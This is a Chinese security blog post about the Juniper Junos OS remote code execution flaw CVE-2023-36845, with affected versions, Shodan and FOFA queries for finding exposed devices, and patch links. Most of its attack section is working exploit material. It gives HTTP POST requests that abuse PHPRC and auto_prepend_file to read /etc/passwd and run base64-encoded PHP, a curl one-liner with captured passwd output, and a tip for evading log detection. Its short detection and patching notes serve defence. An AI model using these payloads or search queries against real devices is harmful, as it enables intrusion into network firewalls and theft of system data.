声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
一、漏洞介绍
二、影响版本
1. Juniper Networks Junos OS(SRX 系列):
-
20.4R3-S8之前的所有版本;
-
21.1版本21.1R1及以上版本;
-
21.2R3-S6之前的21.2版本;
-
21.3R3-S5之前的21.3版本;
-
21.4R3-S5之前的21.4版本;
-
22.1R3-S3之前的22.1版本;
-
22.2R3-S2之前的22.2版本;
-
22.3R2-S2、22.3R3之前的22.3版本;
-
22.4R2-S1、22.4R3之前的22.4版本。
2. Juniper Networks Junos OS(EX 系列):
-
20.4R3-S8之前的所有版本;
-
21.1版本21.1R1及以上版本;
-
21.2R3-S6之前的21.2版本;
-
21.3R3-S5之前的21.3版本;
-
21.4R3-S4之前的21.4版本;
-
22.1R3-S3之前的22.1版本;
-
22.2R3-S1之前的22.2版本;
-
22.3R2-S2、22.3R3之前的22.3版本;
-
22.4R2-S1、22.4R3 之前的 22.4 版本。
三、资产搜索
shodan:title:"Juniper" http.favicon.hash:2141724739
fofa:title="Juniper" || icon_hash="2141724739"
截图如下:
四、漏洞复现
访问漏洞环境:
POC 如下:
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
auto_prepend_file="/etc/passwd"
当前仅实现了任意文件读取,接下来尝试rce
PHP 的一个功能,auto_prepend_file,很简单。使用该函数添加提供的文件require。来自php.net的描述:
auto_prepend_file string Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used。 php.net
-
allow_url_include bool 此选项允许使用具有以下函数的 URL 感知 fopen 包装器:include、include_once、require、require_once。
-
通过启用allow_url_include,我们可以使用任何带有auto_prepend_file的协议包装器。显而易见的选择是 data:// 以内联方式提供“第二个文件”形式。
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Cache-Control: max-age=0
Sec-Ch-Ua: "-Not.A/Brand";v="8", "Chromium";v="102"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Content-Length: 94
allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="
自动化脚本请前往隐侠知识大陆或知识星球获取
小技巧Tips
-
防火墙是 APT 常见的目标,因为它们有助于桥接受保护的网络,并可以充当 C2 基础设施的有用主机。如果拥有未打补丁的Juniper网络防火墙的站点,都应该检查是否有被入侵的痕迹。httpd.log会包含以下payload部分:httpd:2:POST /?PHPRC=/dev/fd/0 HTTP/1.1
-
但是,攻击者可以绕过在 HTTP 标头中包含变量,只是为了方便测试和展示才这么写的poc,真实情况中,可以使用多部分表单数据,当攻击者使用这种形式的攻击时,httpd.log(以及据我们所知的所有其他日志)基本上是无感知的。
$ curl "http://127.0.0.1/" -F $'auto_prepend_file="/etc/passwdn"' -F 'PHPRC=/dev/fd/0'root:*:0:0:Charlie &:/root:/bin/cshdaemon:*:1:1:Owner of many system processes:/root:/sbin/nologinoperator:*:2:5:System &:/:/sbin/nologinbin:*:3:7:Binaries Commands and Source:/:/sbin/nologintty:*:4:65533:Tty Sandbox:/:/sbin/nologinkmem:*:5:65533:KMem Sandbox:/:/sbin/nologingames:*:7:13:Games pseudo-user:/usr/games:/sbin/nologinman:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologinsshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologinext:*:39:39:External applications:/:/sbin/nologinbind:*:53:53:Bind Sandbox:/:/sbin/nologinuucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/sbin/nologinnobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <meta http-equiv="Content-Type" content="text/html"/> <link rel="stylesheet" href="/stylesheet/juniper.css" type="text/css"/> <title>Log In - Juniper Web Device Manager</title> <link rel="shortcut icon" href='images/favicon.ico' type="image/x-icon"/> </head>
四、修复手段
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:将组件 junos 升级至 20.4 及以上版本。
https://supportportal.juniper.net/JSA72300https://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
内部交流群:
关注东方隐侠安全团队 为安全界刮起一股侠客风
东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!
公众号|东方隐侠安全实验室
原文始发于微信公众号(东方隐侠安全实验室):烽火狼烟|Juniper Networks Junos OS EX RCE(CVE-2023-36845)漏洞